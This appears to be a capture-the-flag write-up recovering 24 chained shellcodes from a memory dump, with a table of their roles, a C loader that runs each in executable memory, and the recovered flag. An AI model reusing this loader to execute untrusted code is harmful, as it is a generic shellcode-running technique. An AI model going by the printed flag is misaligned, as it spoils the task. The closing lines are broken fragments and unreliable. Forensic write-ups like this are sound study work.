SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


一些统计


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/zh-CN472416/


All Articles